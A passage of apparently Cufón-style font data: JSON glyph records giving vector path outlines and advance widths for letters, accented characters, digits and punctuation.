9,0","w":593},{"d":"202,-254v0,66,26,139,101,139v46,0,104,-32,104,-140v0,-70,-20,-149,-101,-149v-78,0,-104,79,-104,150xm571,-519r0,693r-170,0r0,-231r-2,0v-35,48,-84,72,-148,72v-147,0,-219,-128,-219,-263v0,-146,69,-286,232,-286v62,0,109,29,145,75r0,-60r162,0"},{"d":"374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-159,0xm294,-724r97,149r-120,0r-157,-149r180,0","w":593},{"d":"297,-560v-59,0,-107,-50,-107,-107v0,-59,49,-107,107,-107v58,0,107,47,107,107v0,58,-48,107,-107,107xm297,-615v29,0,52,-24,52,-52v0,-30,-23,-52,-52,-52v-29,0,-52,22,-52,52v0,28,23,52,52,52xm374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-159,0","w":593},{"d":"723,-391r0,391r-120,0r-11,-78v-49,69,-133,93,-199,93v-216,0,-356,-165,-356,-372v0,-207,140,-372,356,-372v148,0,306,79,323,258r-186,0v-6,-61,-66,-98,-141,-98v-120,0,-166,106,-166,212v0,106,46,212,166,212v92,0,154,-43,164,-108r-130,0r0,-138r300,0","w":778},{"d":"40,-546v0,-88,72,-160,160,-160v88,0,160,72,160,160v0,88,-72,160,-160,160v-88,0,-160,-72,-160,-160xm200,-457v49,0,80,-40,80,-89v0,-49,-31,-89,-80,-89v-49,0,-80,40,-80,89v0,49,31,89,80,89","w":400},{"d":"63,0r0,-519r170,0r0,519r-170,0xm233,-714r0,130r-170,0r0,-130r170,0","w":296},{"d":"399,-347r0,152r-159,128r0,-137r86,-67r-86,-66r0,-137xm204,-347r0,152r-159,128r0,-137r86,-67r-86,-66r0,-137","w":444},{"d":"233,0r-170,0r0,-519r170,0r0,519xm145,-724r97,149r-120,0r-157,-149r180,0","w":296},{"d":"545,-519r-205,565v-46,141,-143,128,-297,128r0,-138v63,4,128,0,127,-58v0,-28,-33,-108,-43,-136r-134,-361r180,0r98,338r2,0r98,-338r174,0","w":537},{"d":"681,-714r0,419v0,207,-95,310,-311,310v-216,0,-311,-103,-311,-310r0,-419r186,0r0,430v0,92,34,139,125,139v91,0,125,-47,125,-139r0,-430r186,0xm365,-907r180,0r-157,149r-120,0","w":741},{"d":"724,-459r-186,0v-10,-72,-66,-110,-144,-110v-120,0,-166,106,-166,212v0,106,46,212,166,212v87,0,137,-50,144,-132r186,0v-10,184,-145,292,-326,292v-216,0,-356,-165,-356,-372v0,-207,140,-372,356,-372v154,0,321,98,326,270","w":759},{"d":"192,-514v0,39,0,112,55,112v54,0,54,-73,54,-112v0,-39,0,-112,-54,-112v-55,0,-55,73,-55,112xm359,27r-99,0r404,-751r99,0xm75,-514v0,-109,56,-192,172,-192v118,0,171,77,171,192v0,112,-49,192,-171,192v-121,0,-172,-81,-172,-192xm602,-183v0,-109,56,-192,172,-192v118,0,171,77,171,192v0,112,-49,192,-171,192v-121,0,-172,-81,-172,-192xm719,-183v0,39,0,112,55,112v54,0,54,-73,54,-112v0,-39,0,-112,-54,-112v-55,0,-55,73,-55,112","w":1019},{"d":"374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-159,0xm291,-724r180,0r-157,149r-120,0","w":593},{"d":"311,-604r-325,0r0,-86r325,0r0,86","w":296},{"d":"659,-714r-231,714r-214,0r-225,-714r194,0r140,531r2,0r140,-531r194,0","w":648},{"d":"573,-519r0,519r-165,0v-2,-22,4,-53,-2,-71v-32,53,-98,86,-158,86v-149,0,-192,-86,-192,-222r0,-312r170,0r0,301v0,69,30,93,84,93v37,0,93,-24,93,-116r0,-278r170,0xm497,-589r-150,0r0,-125r150,0r0,125xm134,-589r0,-125r150,0r0,125r-150,0"},{"d":"39,214r0,-1000r144,0r0,1000r-144,0","w":222},{"d":"206,169r0,-534v-145,0,-223,-64,-223,-171v0,-144,107,-178,246,-178r314,0r0,883r-120,0r0,-793r-97,0r0,793r-120,0","w":620},{"d":"297,-499r77,103r-79,59r-75,-107r-74,107r-78,-58r79,-104r-122,-38r31,-93r116,44r0,-128r99,0r0,128r116,-44r31,93","w":444},{"d":"62,0r0,-714r186,0r0,260r245,0r0,-260r186,0r0,714r-186,0r0,-294r-245,0r0,294r-186,0","w":741},{"d":"506,-299r91,0r0,144r-91,0r0,155r-170,0r0,-155r-305,0r0,-159r312,-383r163,0r0,398xm163,-299r178,0r0,-225r-2,0"},{"d":"64,0r0,-714r186,0r0,714r-186,0xm152,-907r180,0r-157,149r-120,0","w":315},{"d":"681,-714r0,419v0,207,-95,310,-311,310v-216,0,-311,-103,-311,-310r0,-419r186,0r0,430v0,92,34,139,125,139v91,0,125,-47,125,-139r0,-430r186,0xm553,-772r-150,0r0,-125r150,0r0,125xm190,-772r0,-125r150,0r0,125r-150,0","w":741},{"d":"352,-737v-59,0,-107,-50,-107,-107v0,-59,49,-107,107,-107v58,0,107,47,107,107v0,58,-48,107,-107,107xm352,-792v29,0,52,-24,52,-52v0,-30,-23,-52,-52,-52v-29,0,-52,22,-52,52v0,28,23,52,52,52xm351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0","w":704},{"d":"630,-714r0,160r-213,0r0,554r-186,0r0,-554r-213,0r0,-160r612,0","w":648},{"d":"545,-519r-205,565v-46,141,-143,128,-297,128r0,-138v63,4,128,0,127,-58v0,-28,-33,-108,-43,-136r-134,-361r180,0r98,338r2,0r98,-338r174,0xm451,-589r-150,0r0,-125r150,0r0,125xm88,-589r0,-125r150,0r0,125r-150,0","w":537},{"d":"22,0r0,-132r259,-257r-238,0r0,-130r454,0r0,129r-259,260r278,0r0,130r-494,0","w":537},{"d":"330,-589r-150,0r0,-125r150,0r0,125xm-33,-589r0,-125r150,0r0,125r-150,0","w":296},{"d":"352,-838r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0","w":704},{"d":"233,0r-170,0r0,-519r170,0r0,519xm142,-724r180,0r-157,149r-120,0","w":296},{"d":"140,-434v-1,45,29,71,73,70v31,0,67,-15,67,-41v-1,-48,-54,-52,-103,-48r0,-82v41,3,95,3,95,-38v0,-23,-29,-38,-57,-38v-37,0,-63,22,-62,56r-125,0v3,-102,76,-151,186,-151v93,0,183,31,183,124v0,41,-27,70,-69,82v52,7,77,41,77,95v0,97,-93,136,-191,136v-118,0,-204,-45,-199,-165r125,0xm352,27r-99,0r411,-751r99,0xm866,-179r64,0r0,90r-64,0r0,89r-126,0r0,-89r-199,0r0,-99r203,-231r122,0r0,240xm635,-179r106,0r0,-123","w":945},{"d":"351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0xm534,-772r-150,0r0,-125r150,0r0,125xm171,-772r0,-125r150,0r0,125r-150,0","w":704},{"d":"37,-357v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,207,-127,372,-352,372v-225,0,-352,-165,-352,-372xm223,-357v0,106,46,212,166,212v120,0,166,-106,166,-212v0,-106,-46,-212,-166,-212v-120,0,-166,106,-166,212xm383,-907r180,0r-157,149r-120,0","w":778},{"w":315},{"d":"64,0r0,-714r186,0r0,714r-186,0xm340,-772r-150,0r0,-125r150,0r0,125xm-23,-772r0,-125r150,0r0,125r-150,0","w":315},{"d":"303,-897v46,0,107,41,145,41v22,0,39,-21,42,-41r71,0v-9,68,-43,127,-119,127v-53,0,-100,-36,-145,-36v-23,0,-40,22,-44,45r-71,0v8,-65,50,-136,121,-136xm62,0r0,-714r191,0r248,440r2,0r0,-440r175,0r0,714r-191,0r-248,-445r-2,0r0,445r-175,0","w":741},{"d":"371,-838r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm681,-714r0,419v0,207,-95,310,-311,310v-216,0,-311,-103,-311,-310r0,-419r186,0r0,430v0,92,34,139,125,139v91,0,125,-47,125,-139r0,-430r186,0","w":741},{"d":"573,-519r0,519r-165,0v-2,-22,4,-53,-2,-71v-32,53,-98,86,-158,86v-149,0,-192,-86,-192,-222r0,-312r170,0r0,301v0,69,30,93,84,93v37,0,93,-24,93,-116r0,-278r170,0xm312,-724r97,149r-120,0r-157,-149r180,0"},{"d":"241,-251r254,-278v-25,-25,-60,-40,-106,-40v-158,1,-193,183,-148,318xm537,-462r-253,277v26,25,61,40,105,40v157,-1,193,-182,148,-317xm693,-747r58,50r-87,95v51,65,77,151,77,245v0,207,-127,372,-352,372v-90,0,-164,-26,-221,-72r-89,97r-57,-50r92,-101v-50,-64,-77,-151,-77,-246v0,-207,127,-372,352,-372v90,0,164,26,222,72","w":778},{"d":"65,0r0,-186r186,0r0,165v0,144,-111,188,-186,195r0,-80v54,-14,76,-42,82,-94r-82,0xm251,-519r0,186r-186,0r0,-186r186,0","w":316},{"d":"202,-259v0,66,24,144,103,144v79,0,104,-78,104,-144v0,-66,-25,-145,-104,-145v-79,0,-103,79,-103,145xm32,-259v0,-156,112,-275,273,-275v161,0,274,119,274,275v0,156,-113,274,-274,274v-161,0,-273,-118,-273,-274xm488,-589r-150,0r0,-125r150,0r0,125xm125,-589r0,-125r150,0r0,125r-150,0","w":611},{"d":"273,27r-99,0r411,-751r99,0xm124,-523r-109,0r0,-90v64,1,130,-20,134,-84r100,0r0,419r-125,0r0,-245xm556,-249v2,-115,68,-180,192,-179v102,0,182,44,182,138v0,72,-55,106,-123,140v-42,21,-66,33,-79,55r194,0r0,95r-365,0v0,-60,26,-111,71,-146v39,-31,83,-52,118,-73v34,-20,59,-42,59,-62v0,-32,-23,-52,-56,-52v-51,0,-67,39,-68,84r-125,0","w":945},{"d":"299,-118r0,-283v-69,16,-80,86,-80,150v0,60,23,121,80,133xm299,105r0,-92v-146,-9,-250,-113,-250,-264v0,-157,95,-272,250,-282r0,-79r46,0r0,79v118,8,220,76,232,204r-165,0v-1,-38,-31,-67,-67,-72r0,283v42,-8,65,-39,72,-86r165,0v-15,131,-111,209,-237,217r0,92r-46,0"},{"d":"554,8r-508,-190r0,-142r508,-190r0,154r-307,106r0,2r307,106r0,154","w":600},{"d":"65,0r0,-714r274,0r123,476r2,0r123,-476r274,0r0,714r-175,0r0,-542r-2,0r-150,542r-142,0r-150,-542r-2,0r0,542r-175,0","w":926},{"d":"321,-897v46,0,107,41,145,41v22,0,39,-21,42,-41r71,0v-9,68,-43,127,-119,127v-53,0,-100,-36,-145,-36v-23,0,-40,22,-44,45r-71,0v8,-65,50,-136,121,-136xm37,-357v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,207,-127,372,-352,372v-225,0,-352,-165,-352,-372xm223,-357v0,106,46,212,166,212v120,0,166,-106,166,-212v0,-106,-46,-212,-166,-212v-120,0,-166,106,-166,212","w":778},{"d":"65,0r0,-186r186,0r0,186r-186,0","w":316},{"d":"687,-714r-260,448r0,266r-186,0r0,-266r-260,-448r211,0r142,290r142,-290r211,0xm328,-907r180,0r-157,149r-120,0","w":667},{"d":"206,-480r-175,0v2,-158,106,-249,262,-249v125,0,250,66,250,204v0,97,-47,132,-123,180v-52,34,-65,49,-66,109r-158,0r0,-50v0,-78,44,-113,81,-139v41,-29,80,-49,80,-99v0,-38,-29,-61,-65,-61v-61,0,-89,40,-86,105xm182,0r0,-186r186,0r0,186r-186,0","w":574},{"d":"46,8r0,-154r307,-106r0,-2r-307,-106r0,-154r508,190r0,142","w":600},{"d":"207,-237v0,60,44,108,110,108v71,0,118,-50,118,-107v0,-65,-42,-117,-119,-117v-64,0,-109,52,-109,116xm426,-516v-8,-45,-40,-65,-84,-65v-96,-2,-140,103,-137,177v35,-58,97,-74,163,-74v128,0,226,103,226,230v0,166,-127,257,-279,257v-206,0,-278,-175,-278,-353v0,-195,94,-362,305,-362v124,0,221,63,243,190r-159,0"},{"w":315},{"d":"370,-519r0,110r-105,0r0,236v-2,59,54,51,105,48r0,125v-31,1,-62,5,-93,5v-145,0,-182,-42,-182,-183r0,-231r-86,0r0,-110r86,0r0,-157r170,0r0,157r105,0","w":389},{"d":"-9,15r269,-744r156,0r-269,744r-156,0","w":407},{"d":"573,-519r0,519r-165,0v-2,-22,4,-53,-2,-71v-32,53,-98,86,-158,86v-149,0,-192,-86,-192,-222r0,-312r170,0r0,301v0,69,30,93,84,93v37,0,93,-24,93,-116r0,-278r170,0xm309,-724r180,0r-157,149r-120,0"},{"d":"206,-332r-159,0r162,-365r182,0r162,365r-160,0r-93,-238","w":600},{"d":"23,-240r186,0v4,84,56,111,135,111v56,0,114,-20,114,-73v0,-63,-102,-75,-205,-104v-102,-29,-209,-75,-209,-206v0,-156,157,-217,291,-217v142,0,285,69,286,230r-186,0v3,-65,-58,-86,-115,-86v-40,0,-90,14,-90,61v0,55,103,65,207,94v103,29,207,77,207,206v0,181,-154,239,-311,239v-164,0,-309,-72,-310,-255","w":667},{"d":"64,0r0,-714r569,0r0,149r-383,0r0,125r350,0r0,144r-350,0r0,136r393,0r0,160r-579,0xm525,-772r-150,0r0,-125r150,0r0,125xm162,-772r0,-125r150,0r0,125r-150,0","w":685},{"d":"516,0v-43,-99,12,-260,-125,-260r-141,0r0,260r-186,0r0,-714r364,0v126,0,250,57,250,201v0,79,-41,148,-112,181v76,18,98,103,104,171v2,30,5,135,30,161r-184,0xm250,-565r0,161r156,0v56,0,86,-30,86,-84v-1,-105,-142,-72,-242,-77","w":722},{"d":"584,-485v1,197,-222,226,-324,341r331,0r0,144r-559,0v1,-89,40,-173,109,-232v60,-52,128,-87,182,-122v53,-34,91,-69,91,-116v0,-54,-36,-87,-90,-87v-90,0,-115,65,-116,141r-159,0v-10,-173,100,-290,274,-290v138,0,261,72,261,221"},{"d":"250,-313r0,164v103,-6,250,31,249,-80v-1,-117,-143,-77,-249,-84xm64,0r0,-714r334,0v123,-2,258,30,258,179v0,64,-38,116,-94,144v76,22,123,88,123,169v0,170,-125,222,-278,222r-343,0xm250,-570r0,137v93,-9,220,34,220,-68v0,-104,-128,-60,-220,-69","w":722},{"d":"428,-565r-130,299r162,0r0,-299r-32,0xm-14,0r334,-714r648,0r0,149r-328,0r0,125r306,0r0,144r-306,0r0,136r337,0r0,160r-517,0r0,-128r-218,0r-58,128r-198,0","w":1019},{"d":"202,-313r211,0v-3,-58,-44,-106,-101,-106v-60,0,-100,43,-110,106xm583,-218r-381,0v3,71,44,118,116,118v41,0,81,-19,97,-57r159,0v-31,120,-142,172,-258,172v-169,0,-284,-102,-284,-276v0,-159,127,-273,280,-273v186,0,279,140,271,316xm300,-724r180,0r-157,149r-120,0","w":611},{"d":"64,0r0,-714r526,0r0,149r-340,0r0,146r294,0r0,144r-294,0r0,275r-186,0","w":611},{"d":"315,-655r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm573,-519r0,519r-165,0v-2,-22,4,-53,-2,-71v-32,53,-98,86,-158,86v-149,0,-192,-86,-192,-222r0,-312r170,0r0,301v0,69,30,93,84,93v37,0,93,-24,93,-116r0,-278r170,0"},{"d":"-9,-729r144,0v82,161,125,277,125,455v0,171,-43,287,-125,448r-144,0v146,-276,145,-629,0,-903","w":296},{"d":"294,-354r0,-360r144,0r0,360r-144,0xm62,-354r0,-360r144,0r0,360r-144,0","w":500},{"d":"359,-200r-311,0r0,-144r311,0r0,144","w":407},{"d":"63,0r0,-519r165,0v2,29,-4,66,2,91v30,-77,102,-113,196,-97r0,155v-22,-6,-42,-10,-65,-10v-84,0,-128,58,-128,123r0,257r-170,0","w":426},{"d":"284,-897v46,0,107,41,145,41v22,0,39,-21,42,-41r71,0v-9,68,-43,127,-119,127v-53,0,-100,-36,-145,-36v-23,0,-40,22,-44,45r-71,0v8,-65,50,-136,121,-136xm351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0","w":704},{"d":"118,-88r-60,-60r44,-45v-67,-85,-69,-223,-3,-311r-45,-44r60,-60r45,44v83,-67,229,-67,312,0r43,-44r60,60r-44,44v65,83,66,225,0,308r44,44r-60,60r-44,-44v-81,66,-223,67,-307,3xm194,-350v0,81,54,135,121,135v67,0,121,-54,121,-135v0,-81,-54,-135,-121,-135v-67,0,-121,54,-121,135"},{"d":"228,-325r0,-181r144,0r0,181r180,0r0,144r-180,0r0,181r-144,0r0,-181r-180,0r0,-144r180,0","w":600},{"d":"194,-359v66,0,155,68,213,68v40,0,65,-37,88,-72r36,130v-30,42,-63,86,-125,86v-80,0,-130,-68,-217,-68v-44,0,-68,37,-84,72r-36,-130v22,-42,58,-86,125,-86","w":600},{"d":"345,-272r0,143v44,-3,95,-21,95,-69v0,-39,-38,-58,-95,-74xm298,-457r0,-128v-39,1,-86,16,-86,65v0,32,35,49,86,63xm345,-445v131,32,281,66,281,225v0,167,-135,229,-281,235r0,90r-47,0r0,-90v-158,-5,-292,-75,-293,-251r186,0v4,72,44,101,107,108r0,-157v-126,-34,-272,-66,-272,-223v0,-154,142,-216,272,-221r0,-90r47,0r0,91v133,8,257,78,258,233r-186,0v2,-51,-30,-76,-72,-86r0,136"},{"d":"247,-714v46,0,107,41,145,41v22,0,39,-21,42,-41r71,0v-9,68,-43,127,-119,127v-53,0,-100,-36,-145,-36v-23,0,-40,22,-44,45r-71,0v8,-65,50,-136,121,-136xm57,0r0,-519r165,0v2,22,-4,53,2,71v31,-53,101,-86,163,-86v173,0,187,126,187,201r0,333r-170,0r0,-251v0,-71,8,-143,-85,-143v-64,0,-92,54,-92,111r0,283r-170,0"},{"d":"202,-313r211,0v-3,-58,-44,-106,-101,-106v-60,0,-100,43,-110,106xm583,-218r-381,0v3,71,44,118,116,118v41,0,81,-19,97,-57r159,0v-31,120,-142,172,-258,172v-169,0,-284,-102,-284,-276v0,-159,127,-273,280,-273v186,0,279,140,271,316","w":611},{"d":"386,-252v62,0,102,-48,102,-105v0,-48,-31,-81,-79,-81v-107,0,-142,186,-23,186xm517,-488r9,-48r94,0r-44,238v-4,17,-13,55,7,55v42,0,93,-45,93,-152v0,-160,-110,-242,-262,-242v-166,0,-272,117,-272,281v0,175,120,279,289,279v75,0,140,-22,189,-59r98,0v-71,98,-173,151,-295,151v-213,0,-388,-154,-388,-371v0,-213,171,-373,382,-373v176,0,348,117,348,302v0,229,-188,289,-247,289v-40,0,-58,-21,-64,-49v-20,27,-51,50,-96,50v-86,0,-165,-82,-165,-181v0,-117,79,-228,201,-228v51,0,93,17,123,58","w":800},{"d":"531,-295r0,105r-77,0r-26,190r-115,0r26,-190r-81,0r-26,190r-115,0r26,-190r-74,0r0,-105r89,0r15,-110r-74,0r0,-105r89,0r26,-187r115,0r-26,187r81,0r26,-187r115,0r-26,187r62,0r0,105r-77,0r-15,110r62,0xm369,-405r-81,0r-15,110r81,0"},{"d":"239,-520v-40,19,-114,7,-114,57v0,20,22,30,47,30v53,1,71,-31,67,-87xm241,-391v-35,22,-62,37,-111,38v-79,0,-130,-30,-130,-94v1,-116,112,-105,211,-123v19,-4,29,-10,29,-29v0,-18,-30,-27,-53,-27v-30,0,-50,12,-55,34r-118,0v6,-98,71,-114,174,-114v98,0,176,16,176,113v0,87,-11,155,13,231r-129,0v-4,-10,-6,-19,-7,-29","w":377},{"d":"64,0r0,-714r569,0r0,149r-383,0r0,125r350,0r0,144r-350,0r0,136r393,0r0,160r-579,0","w":685},{"d":"306,-655r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm202,-259v0,66,24,144,103,144v79,0,104,-78,104,-144v0,-66,-25,-145,-104,-145v-79,0,-103,79,-103,145xm32,-259v0,-156,112,-275,273,-275v161,0,274,119,274,275v0,156,-113,274,-274,274v-161,0,-273,-118,-273,-274","w":611},{"d":"308,-343v72,0,116,-51,116,-114v0,-62,-44,-111,-117,-111v-64,0,-111,51,-111,109v0,65,42,116,112,116xm205,-181v7,42,48,65,94,65v92,0,125,-85,129,-177r-2,0v-31,54,-96,75,-156,75v-138,0,-233,-101,-233,-237v0,-149,122,-251,267,-251v203,0,290,154,290,341v0,201,-83,374,-305,374v-127,0,-219,-61,-243,-190r159,0"},{"d":"317,-314v-61,0,-118,32,-118,100v0,69,57,98,117,98v58,0,116,-27,116,-98v0,-64,-51,-100,-115,-100xm29,-205v0,-84,58,-148,134,-167v-67,-16,-104,-75,-104,-142v0,-138,142,-192,259,-192v119,0,256,54,256,193v0,65,-43,124,-103,143v80,16,131,77,131,165v0,154,-147,214,-285,214v-137,0,-288,-51,-288,-214xm316,-581v-56,0,-106,22,-106,80v0,62,54,82,106,82v50,0,107,-22,107,-82v0,-57,-52,-80,-107,-80"},{"d":"57,0r0,-519r165,0v2,22,-4,53,2,71v31,-53,101,-86,163,-86v173,0,187,126,187,201r0,333r-170,0r0,-251v0,-71,8,-143,-85,-143v-64,0,-92,54,-92,111r0,283r-170,0"},{"d":"202,-259v0,66,24,144,103,144v79,0,104,-78,104,-144v0,-66,-25,-145,-104,-145v-79,0,-103,79,-103,145xm32,-259v0,-156,112,-275,273,-275v161,0,274,119,274,275v0,156,-113,274,-274,274v-161,0,-273,-118,-273,-274xm303,-724r97,149r-120,0r-157,-149r180,0","w":611},{"d":"64,0r0,-714r307,0v219,0,350,133,350,354v0,234,-133,360,-350,360r-307,0xm250,-554r0,394r88,0v141,-3,197,-58,197,-201v0,-130,-70,-193,-197,-193r-88,0","w":759},{"d":"64,0r0,-714r186,0r0,274r235,-274r231,0r-264,281r297,433r-231,0r-192,-300r-76,80r0,220r-186,0","w":741},{"d":"65,0r0,-186r186,0r0,165v0,143,-111,187,-186,195r0,-80v54,-14,76,-42,82,-94r-82,0","w":316},{"d":"45,-194r0,-152r159,-128r0,137r-86,67r86,66r0,137xm240,-194r0,-152r159,-128r0,137r-86,67r86,66r0,137","w":444},{"d":"37,-357v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,207,-127,372,-352,372v-225,0,-352,-165,-352,-372xm223,-357v0,106,46,212,166,212v120,0,166,-106,166,-212v0,-106,-46,-212,-166,-212v-120,0,-166,106,-166,212","w":778},{"d":"62,0r0,-714r191,0r248,440r2,0r0,-440r175,0r0,714r-191,0r-248,-445r-2,0r0,445r-175,0","w":741},{"d":"315,-129v112,0,115,-129,115,-220v0,-91,-3,-219,-115,-219v-108,0,-114,128,-114,219v0,91,6,220,114,220xm310,9v-198,0,-273,-172,-273,-358v0,-186,75,-357,273,-357v204,0,284,171,284,357v0,186,-80,358,-284,358"},{"d":"298,27r-99,0r411,-751r99,0xm135,-523r-109,0r0,-90v64,1,130,-20,134,-84r100,0r0,419r-125,0r0,-245xm855,-179r64,0r0,90r-64,0r0,89r-126,0r0,-89r-199,0r0,-99r203,-231r122,0r0,240xm624,-179r106,0r0,-123","w":945},{"d":"355,-366v1,-44,-34,-57,-76,-58v-28,0,-73,3,-73,39v0,49,114,59,192,75v105,22,132,97,132,140v0,139,-132,185,-249,185v-123,0,-249,-41,-254,-186r162,0v0,50,41,76,91,76v33,0,80,-14,80,-55v0,-40,-53,-48,-83,-55v-107,-27,-241,-30,-241,-170v0,-125,135,-159,237,-159v114,0,233,33,239,168r-157,0","w":556},{"d":"233,-519r0,519v0,131,-52,174,-172,174r-86,0r0,-138v48,1,88,2,88,-48r0,-507r170,0xm233,-714r0,130r-170,0r0,-130r170,0","w":296},{"d":"233,0r-170,0r0,-519r170,0r0,519xm330,-589r-150,0r0,-125r150,0r0,125xm-33,-589r0,-125r150,0r0,125r-150,0","w":296},{"d":"236,-714r0,177r-46,301r-83,0r-46,-301r0,-177r175,0xm55,0r0,-186r186,0r0,186r-186,0","w":296},{"d":"57,0r0,-519r165,0v2,22,-4,53,2,71v55,-106,245,-123,300,-2v41,-55,92,-84,162,-84v165,0,183,125,183,224r0,310r-170,0r0,-305v0,-56,-27,-89,-71,-89v-73,0,-80,56,-80,140r0,254r-170,0r0,-295v0,-61,-18,-99,-64,-99v-61,0,-87,35,-87,141r0,253r-170,0","w":926},{"d":"325,-404v-46,0,-104,32,-104,139v0,91,26,150,103,150v76,0,102,-79,102,-150v0,-66,-26,-139,-101,-139xm57,174r0,-693r162,0v2,19,-4,45,2,60v33,-49,83,-75,143,-75v163,0,232,140,232,286v0,135,-72,263,-219,263v-66,0,-112,-27,-150,-71r0,230r-170,0"},{"d":"351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0","w":704},{"d":"119,15r-68,-102v65,-42,140,-117,96,-213r-106,0r0,-105r67,0v-23,-31,-43,-72,-43,-113v0,-147,133,-211,260,-211v157,0,264,84,259,248r-165,0v3,-53,-20,-104,-81,-104v-50,0,-87,27,-87,79v0,28,23,79,40,101r119,0r0,105r-89,0v19,71,-1,113,-62,164r2,2v56,-38,125,0,193,0v42,0,63,-15,89,-45r69,123v-57,59,-113,71,-174,71v-66,0,-140,-39,-213,-39v-38,0,-75,19,-106,39"},{"d":"60,-543r0,-154r507,0r0,137v-30,25,-101,121,-149,225v-56,123,-72,244,-73,335r-183,0v4,-82,33,-211,92,-335v52,-108,121,-189,140,-208r-334,0"},{"d":"540,-519r-174,519r-196,0r-173,-519r177,0r95,343r2,0r96,-343r173,0","w":537},{"d":"-8,0r254,-375r-233,-339r219,0r120,222r127,-222r212,0r-231,339r252,375r-226,0r-134,-238r-146,238r-214,0","w":704},{"d":"193,-448v55,0,71,-47,71,-81v0,-35,-16,-82,-71,-82v-54,0,-70,47,-70,82v0,34,16,81,70,81xm193,-353v-122,0,-195,-71,-195,-176v0,-106,73,-177,195,-177v123,0,196,71,196,177v0,105,-73,176,-196,176","w":387},{"d":"573,-519r0,519r-165,0v-2,-22,4,-53,-2,-71v-32,53,-98,86,-158,86v-149,0,-192,-86,-192,-222r0,-312r170,0r0,301v0,69,30,93,84,93v37,0,93,-24,93,-116r0,-278r170,0"},{"d":"5,-527v2,-115,68,-180,192,-179v102,0,182,44,182,138v0,72,-55,106,-123,140v-42,21,-66,33,-79,55r194,0r0,95r-365,0v0,-60,26,-111,71,-146v39,-31,83,-52,118,-73v34,-20,59,-42,59,-62v0,-32,-23,-52,-56,-52v-51,0,-67,39,-68,84r-125,0","w":378},{"d":"64,0r0,-714r186,0r0,714r-186,0","w":315},{"d":"198,-253r-144,-144r102,-102r144,144r144,-144r102,102r-144,144r144,144r-102,102r-144,-144r-144,144r-102,-102","w":600},{"d":"57,0r0,-714r170,0r0,266r2,0v26,-53,96,-86,158,-86v173,0,187,126,187,201r0,333r-170,0r0,-251v0,-71,8,-143,-85,-143v-64,0,-92,54,-92,111r0,283r-170,0"},{"d":"57,0r0,-714r170,0r0,368r155,-173r197,0r-190,196r214,323r-205,0r-127,-209r-44,43r0,166r-170,0","w":593},{"d":"57,0r0,-714r170,0r0,252r2,0v35,-48,84,-72,148,-72v147,0,219,128,219,263v0,146,-69,286,-232,286v-62,0,-109,-29,-145,-75r0,60r-162,0xm325,-404v-46,0,-104,32,-104,139v0,91,26,150,103,150v76,0,102,-79,102,-150v0,-66,-26,-139,-101,-139"},{"d":"229,-714v46,0,107,41,145,41v22,0,39,-21,42,-41r71,0v-9,68,-43,127,-119,127v-53,0,-100,-36,-145,-36v-23,0,-40,22,-44,45r-71,0v8,-65,50,-136,121,-136xm374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-159,0","w":593},{"d":"738,-14r-85,88r-98,-96v-47,24,-103,37,-166,37v-225,0,-352,-165,-352,-372v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,102,-31,193,-89,260xm370,-204r83,-87r70,68v67,-127,35,-346,-134,-346v-120,0,-166,106,-166,212v0,117,63,235,203,208","w":778},{"d":"147,-729r269,744r-156,0r-269,-744r156,0","w":407},{"d":"681,-714r0,419v0,207,-95,310,-311,310v-216,0,-311,-103,-311,-310r0,-419r186,0r0,430v0,92,34,139,125,139v91,0,125,-47,125,-139r0,-430r186,0","w":741},{"d":"64,0r0,-714r569,0r0,149r-383,0r0,125r350,0r0,144r-350,0r0,136r393,0r0,160r-579,0xm337,-907r180,0r-157,149r-120,0","w":685},{"d":"64,0r0,-714r186,0r0,554r333,0r0,160r-519,0","w":611},{"d":"545,-519r-205,565v-46,141,-143,128,-297,128r0,-138v63,4,128,0,127,-58v0,-28,-33,-108,-43,-136r-134,-361r180,0r98,338r2,0r98,-338r174,0xm263,-724r180,0r-157,149r-120,0","w":537},{"d":"301,-729r0,903r-294,0r0,-144r135,0r0,-615r-135,0r0,-144r294,0","w